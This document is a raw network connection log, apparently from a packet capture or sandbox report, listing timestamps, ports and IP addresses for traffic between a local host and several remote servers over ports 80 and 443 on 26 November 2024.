Nov 26, 2024 10:09:38.579940081 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.579978943 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.581166029 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.581275940 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.581285000 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.581636906 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.582942009 CET	443	49869	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:38.583010912 CET	443	49869	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:38.583242893 CET	49869	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:38.583427906 CET	49869	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:38.583427906 CET	49869	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:38.583444118 CET	443	49869	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:38.583451986 CET	443	49869	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:38.588424921 CET	49879	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:38.588464975 CET	443	49879	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:38.588546038 CET	49879	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:38.588751078 CET	49879	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:38.588767052 CET	443	49879	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:38.615096092 CET	49873	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:38.872509956 CET	443	49871	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:38.872534990 CET	443	49871	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:38.872550011 CET	443	49871	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:38.872620106 CET	49871	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:38.872634888 CET	443	49871	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:38.872724056 CET	49871	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:38.991590977 CET	443	49872	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:38.991619110 CET	443	49872	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:38.991633892 CET	443	49872	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:38.991681099 CET	49872	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:38.991712093 CET	443	49872	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:38.991754055 CET	49872	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:38.993697882 CET	443	49871	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:38.993721008 CET	443	49871	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:38.993772030 CET	443	49871	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:38.993781090 CET	49871	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:38.993803978 CET	443	49871	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:38.993818998 CET	49871	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:38.994023085 CET	49871	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:39.012718916 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:39.012748957 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:39.084330082 CET	443	49871	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:39.084353924 CET	443	49871	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:39.084424973 CET	49871	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:39.084443092 CET	443	49871	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:39.084459066 CET	49871	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:39.084482908 CET	49871	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:39.136460066 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:39.136473894 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:39.307717085 CET	443	49873	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:39.307749987 CET	443	49873	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:39.307759047 CET	443	49873	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:39.307804108 CET	443	49873	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:39.307817936 CET	443	49873	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:39.307828903 CET	443	49873	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:39.307828903 CET	49873	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:39.307859898 CET	443	49873	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:39.307878971 CET	49873	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:39.307924032 CET	49873	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:39.308142900 CET	443	49871	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:39.308171034 CET	443	49871	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:39.308217049 CET	49871	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:39.308218002 CET	443	49872	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:39.308231115 CET	443	49872	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:39.308233023 CET	443	49871	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:39.308248043 CET	443	49872	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:39.308249950 CET	49871	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:39.308274984 CET	49872	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:39.308281898 CET	443	49871	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:39.308290958 CET	443	49872	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:39.308305025 CET	49872	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:39.308306932 CET	49871	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:39.308311939 CET	443	49871	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:39.308355093 CET	49872	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:39.308355093 CET	443	49871	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:39.308362007 CET	443	49872	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:39.308379889 CET	49871	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:39.308404922 CET	49871	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:39.308963060 CET	443	49872	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:39.308990002 CET	443	49872	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:39.308991909 CET	443	49873	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:39.309010983 CET	443	49873	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:39.309020996 CET	49872	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:39.309027910 CET	443	49872	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:39.309063911 CET	443	49873	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:39.309072018 CET	443	49872	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:39.309079885 CET	49873	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:39.309082031 CET	49872	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:39.309092999 CET	443	49873	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:39.309106112 CET	49873	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:39.309115887 CET	49873	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:39.309154987 CET	49872	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:39.310580969 CET	49871	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:39.310592890 CET	443	49871	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:39.311207056 CET	49872	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:39.311219931 CET	443	49872	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:39.351119041 CET	49873	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:39.363020897 CET	443	49874	20.110.205.119	192.168.2.5
Nov 26, 2024 10:09:39.363526106 CET	49874	443	192.168.2.5	20.110.205.119
Nov 26, 2024 10:09:39.363552094 CET	443	49874	20.110.205.119	192.168.2.5
Nov 26, 2024 10:09:39.363928080 CET	443	49874	20.110.205.119	192.168.2.5
Nov 26, 2024 10:09:39.366552114 CET	49874	443	192.168.2.5	20.110.205.119
Nov 26, 2024 10:09:39.366627932 CET	443	49874	20.110.205.119	192.168.2.5
Nov 26, 2024 10:09:39.367151976 CET	49874	443	192.168.2.5	20.110.205.119
Nov 26, 2024 10:09:39.370681047 CET	49880	443	192.168.2.5	13.89.179.13
Nov 26, 2024 10:09:39.370721102 CET	443	49880	13.89.179.13	192.168.2.5
Nov 26, 2024 10:09:39.370889902 CET	49880	443	192.168.2.5	13.89.179.13
Nov 26, 2024 10:09:39.371186972 CET	49880	443	192.168.2.5	13.89.179.13
Nov 26, 2024 10:09:39.371202946 CET	443	49880	13.89.179.13	192.168.2.5
Nov 26, 2024 10:09:39.411334038 CET	443	49874	20.110.205.119	192.168.2.5
Nov 26, 2024 10:09:39.558861017 CET	443	49873	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:39.558893919 CET	443	49873	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:39.558936119 CET	49873	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:39.558967113 CET	443	49873	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:39.558983088 CET	49873	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:39.559117079 CET	49873	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:39.559159040 CET	443	49873	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:39.559175968 CET	443	49873	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:39.559205055 CET	49873	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:39.559212923 CET	443	49873	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:39.559225082 CET	443	49873	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:39.559235096 CET	49873	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:39.559262037 CET	49873	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:39.559267044 CET	443	49873	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:39.559281111 CET	49873	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:39.559305906 CET	49873	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:39.559623957 CET	443	49873	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:39.559684038 CET	49873	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:39.559695005 CET	443	49873	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:39.559709072 CET	443	49873	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:39.559921026 CET	49873	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:39.560662031 CET	49873	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:39.560681105 CET	443	49873	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:39.714056015 CET	49881	443	192.168.2.5	13.89.179.13
Nov 26, 2024 10:09:39.714097977 CET	443	49881	13.89.179.13	192.168.2.5
Nov 26, 2024 10:09:39.714169979 CET	49881	443	192.168.2.5	13.89.179.13
Nov 26, 2024 10:09:39.714756012 CET	49881	443	192.168.2.5	13.89.179.13
Nov 26, 2024 10:09:39.714772940 CET	443	49881	13.89.179.13	192.168.2.5
Nov 26, 2024 10:09:39.862684965 CET	443	49875	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:39.863286972 CET	49875	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:39.863322973 CET	443	49875	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:39.863796949 CET	49875	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:39.863801956 CET	443	49875	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:39.909889936 CET	443	49874	20.110.205.119	192.168.2.5
Nov 26, 2024 10:09:39.910135031 CET	443	49874	20.110.205.119	192.168.2.5
Nov 26, 2024 10:09:39.910376072 CET	49874	443	192.168.2.5	20.110.205.119
Nov 26, 2024 10:09:39.911375999 CET	49874	443	192.168.2.5	20.110.205.119
Nov 26, 2024 10:09:39.911402941 CET	443	49874	20.110.205.119	192.168.2.5
Nov 26, 2024 10:09:40.070681095 CET	443	49876	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:40.071455956 CET	49876	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:40.071475983 CET	443	49876	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:40.072154045 CET	49876	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:40.072160959 CET	443	49876	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:40.121189117 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:40.121263027 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:40.146301985 CET	443	49877	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:40.156940937 CET	49877	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:40.156971931 CET	443	49877	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:40.157788992 CET	49877	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:40.157793999 CET	443	49877	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:40.270962954 CET	49882	443	192.168.2.5	13.89.179.13
Nov 26, 2024 10:09:40.271002054 CET	443	49882	13.89.179.13	192.168.2.5
Nov 26, 2024 10:09:40.271065950 CET	49882	443	192.168.2.5	13.89.179.13
Nov 26, 2024 10:09:40.271363020 CET	49882	443	192.168.2.5	13.89.179.13
Nov 26, 2024 10:09:40.271377087 CET	443	49882	13.89.179.13	192.168.2.5
Nov 26, 2024 10:09:40.299555063 CET	443	49875	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:40.299638987 CET	443	49875	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:40.299709082 CET	49875	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:40.310352087 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:40.323339939 CET	49875	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:40.323358059 CET	443	49875	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:40.323369026 CET	49875	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:40.323374987 CET	443	49875	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:40.338236094 CET	443	49878	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:40.381320000 CET	49878	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:40.387449026 CET	49878	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:40.387458086 CET	443	49878	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:40.388014078 CET	49878	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:40.388020039 CET	443	49878	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:40.390820980 CET	49883	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:40.390842915 CET	443	49883	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:40.391011953 CET	49883	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:40.391180992 CET	49883	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:40.391191959 CET	443	49883	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:40.430548906 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:40.433276892 CET	443	49879	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:40.437932968 CET	49879	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:40.437952042 CET	443	49879	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:40.439097881 CET	49879	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:40.439104080 CET	443	49879	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:40.507162094 CET	443	49876	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:40.507219076 CET	443	49876	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:40.507294893 CET	49876	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:40.507592916 CET	49876	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:40.507592916 CET	49876	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:40.507612944 CET	443	49876	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:40.507622004 CET	443	49876	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:40.512047052 CET	49884	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:40.512092113 CET	443	49884	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:40.512168884 CET	49884	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:40.512938023 CET	49884	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:40.512972116 CET	443	49884	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:40.581063032 CET	443	49877	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:40.581131935 CET	443	49877	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:40.581196070 CET	49877	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:40.581392050 CET	49877	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:40.581409931 CET	443	49877	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:40.581423998 CET	49877	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:40.581429005 CET	443	49877	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:40.584713936 CET	49885	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:40.584743023 CET	443	49885	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:40.584858894 CET	49885	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:40.585340023 CET	49885	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:40.585354090 CET	443	49885	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:40.638856888 CET	49886	443	192.168.2.5	13.89.179.13
Nov 26, 2024 10:09:40.638889074 CET	443	49886	13.89.179.13	192.168.2.5
Nov 26, 2024 10:09:40.638962030 CET	49886	443	192.168.2.5	13.89.179.13
Nov 26, 2024 10:09:40.639442921 CET	49886	443	192.168.2.5	13.89.179.13
Nov 26, 2024 10:09:40.639458895 CET	443	49886	13.89.179.13	192.168.2.5
Nov 26, 2024 10:09:40.750433922 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:40.750463009 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:40.750530958 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:40.750566959 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:40.750587940 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:40.750823975 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:40.753597975 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:40.782447100 CET	443	49878	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:40.782530069 CET	443	49878	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:40.782834053 CET	49878	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:40.782917976 CET	49878	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:40.782917976 CET	49878	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:40.782937050 CET	443	49878	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:40.782946110 CET	443	49878	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:40.785862923 CET	49887	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:40.785892963 CET	443	49887	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:40.785994053 CET	49887	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:40.786192894 CET	49887	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:40.786207914 CET	443	49887	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:40.875974894 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:40.888051033 CET	443	49879	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:40.888125896 CET	443	49879	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:40.888308048 CET	49879	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:40.888411045 CET	49879	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:40.888427973 CET	443	49879	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:40.888437986 CET	49879	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:40.888442993 CET	443	49879	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:40.891330004 CET	49888	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:40.891362906 CET	443	49888	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:40.891607046 CET	49888	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:40.891782999 CET	49888	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:40.891796112 CET	443	49888	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:41.155472040 CET	443	49880	13.89.179.13	192.168.2.5
Nov 26, 2024 10:09:41.156146049 CET	49880	443	192.168.2.5	13.89.179.13
Nov 26, 2024 10:09:41.156166077 CET	443	49880	13.89.179.13	192.168.2.5
Nov 26, 2024 10:09:41.157649994 CET	443	49880	13.89.179.13	192.168.2.5
Nov 26, 2024 10:09:41.158483028 CET	49880	443	192.168.2.5	13.89.179.13
Nov 26, 2024 10:09:41.158668041 CET	443	49880	13.89.179.13	192.168.2.5
Nov 26, 2024 10:09:41.158674955 CET	49880	443	192.168.2.5	13.89.179.13
Nov 26, 2024 10:09:41.158730030 CET	49880	443	192.168.2.5	13.89.179.13
Nov 26, 2024 10:09:41.158785105 CET	443	49880	13.89.179.13	192.168.2.5
Nov 26, 2024 10:09:41.193711042 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:41.193773031 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:41.204118013 CET	49880	443	192.168.2.5	13.89.179.13
Nov 26, 2024 10:09:41.217312098 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:41.338342905 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:41.462809086 CET	443	49881	13.89.179.13	192.168.2.5
Nov 26, 2024 10:09:41.463146925 CET	49881	443	192.168.2.5	13.89.179.13
Nov 26, 2024 10:09:41.463159084 CET	443	49881	13.89.179.13	192.168.2.5
Nov 26, 2024 10:09:41.463546038 CET	443	49881	13.89.179.13	192.168.2.5
Nov 26, 2024 10:09:41.467768908 CET	49881	443	192.168.2.5	13.89.179.13
Nov 26, 2024 10:09:41.467845917 CET	443	49881	13.89.179.13	192.168.2.5
Nov 26, 2024 10:09:41.468122959 CET	49881	443	192.168.2.5	13.89.179.13
Nov 26, 2024 10:09:41.468175888 CET	49881	443	192.168.2.5	13.89.179.13
Nov 26, 2024 10:09:41.468226910 CET	443	49881	13.89.179.13	192.168.2.5
Nov 26, 2024 10:09:41.721769094 CET	443	49880	13.89.179.13	192.168.2.5
Nov 26, 2024 10:09:41.721884966 CET	443	49880	13.89.179.13	192.168.2.5
Nov 26, 2024 10:09:41.721961975 CET	49880	443	192.168.2.5	13.89.179.13
Nov 26, 2024 10:09:41.722634077 CET	49880	443	192.168.2.5	13.89.179.13
Nov 26, 2024 10:09:41.722649097 CET	443	49880	13.89.179.13	192.168.2.5
Nov 26, 2024 10:09:41.914911032 CET	443	49882	13.89.179.13	192.168.2.5
Nov 26, 2024 10:09:41.915182114 CET	49882	443	192.168.2.5	13.89.179.13
Nov 26, 2024 10:09:41.915235043 CET	443	49882	13.89.179.13	192.168.2.5
Nov 26, 2024 10:09:41.916451931 CET	443	49882	13.89.179.13	192.168.2.5
Nov 26, 2024 10:09:41.916518927 CET	49882	443	192.168.2.5	13.89.179.13
Nov 26, 2024 10:09:41.916955948 CET	49882	443	192.168.2.5	13.89.179.13
Nov 26, 2024 10:09:41.917026043 CET	443	49882	13.89.179.13	192.168.2.5
Nov 26, 2024 10:09:41.917165995 CET	49882	443	192.168.2.5	13.89.179.13
Nov 26, 2024 10:09:41.917172909 CET	443	49882	13.89.179.13	192.168.2.5
Nov 26, 2024 10:09:41.917207956 CET	49882	443	192.168.2.5	13.89.179.13
Nov 26, 2024 10:09:41.917246103 CET	443	49882	13.89.179.13	192.168.2.5
Nov 26, 2024 10:09:41.969203949 CET	49882	443	192.168.2.5	13.89.179.13
Nov 26, 2024 10:09:42.073103905 CET	443	49881	13.89.179.13	192.168.2.5
Nov 26, 2024 10:09:42.073236942 CET	443	49881	13.89.179.13	192.168.2.5
Nov 26, 2024 10:09:42.073288918 CET	49881	443	192.168.2.5	13.89.179.13
Nov 26, 2024 10:09:42.073741913 CET	49881	443	192.168.2.5	13.89.179.13
Nov 26, 2024 10:09:42.073754072 CET	443	49881	13.89.179.13	192.168.2.5
Nov 26, 2024 10:09:42.073765039 CET	49881	443	192.168.2.5	13.89.179.13
Nov 26, 2024 10:09:42.073812008 CET	49881	443	192.168.2.5	13.89.179.13
Nov 26, 2024 10:09:42.149010897 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:42.149084091 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:42.179580927 CET	443	49883	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:42.188524961 CET	49883	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:42.188546896 CET	443	49883	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:42.189228058 CET	49883	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:42.189233065 CET	443	49883	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:42.190140009 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:42.300072908 CET	443	49885	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:42.300868988 CET	49885	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:42.300885916 CET	443	49885	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:42.301692009 CET	49885	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:42.301702976 CET	443	49885	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:42.310723066 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:42.357846022 CET	443	49884	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:42.358383894 CET	49884	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:42.358402967 CET	443	49884	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:42.358880043 CET	49884	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:42.358886003 CET	443	49884	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:42.401906013 CET	443	49886	13.89.179.13	192.168.2.5
Nov 26, 2024 10:09:42.402163029 CET	49886	443	192.168.2.5	13.89.179.13
Nov 26, 2024 10:09:42.402189016 CET	443	49886	13.89.179.13	192.168.2.5
Nov 26, 2024 10:09:42.403278112 CET	443	49886	13.89.179.13	192.168.2.5
Nov 26, 2024 10:09:42.403336048 CET	49886	443	192.168.2.5	13.89.179.13
Nov 26, 2024 10:09:42.403685093 CET	49886	443	192.168.2.5	13.89.179.13
Nov 26, 2024 10:09:42.403752089 CET	443	49886	13.89.179.13	192.168.2.5
Nov 26, 2024 10:09:42.403883934 CET	49886	443	192.168.2.5	13.89.179.13
Nov 26, 2024 10:09:42.403898001 CET	443	49886	13.89.179.13	192.168.2.5
Nov 26, 2024 10:09:42.403942108 CET	49886	443	192.168.2.5	13.89.179.13
Nov 26, 2024 10:09:42.403975964 CET	443	49886	13.89.179.13	192.168.2.5
Nov 26, 2024 10:09:42.454605103 CET	49886	443	192.168.2.5	13.89.179.13
Nov 26, 2024 10:09:42.496452093 CET	443	49882	13.89.179.13	192.168.2.5
Nov 26, 2024 10:09:42.496587992 CET	443	49882	13.89.179.13	192.168.2.5
Nov 26, 2024 10:09:42.496644020 CET	49882	443	192.168.2.5	13.89.179.13
Nov 26, 2024 10:09:42.502096891 CET	49882	443	192.168.2.5	13.89.179.13
Nov 26, 2024 10:09:42.502113104 CET	443	49882	13.89.179.13	192.168.2.5
Nov 26, 2024 10:09:42.602355003 CET	443	49887	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:42.602885008 CET	49887	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:42.602909088 CET	443	49887	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:42.603487968 CET	49887	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:42.603492022 CET	443	49887	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:42.624552965 CET	443	49883	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:42.624623060 CET	443	49883	13.107.246.63	192.168.2.5
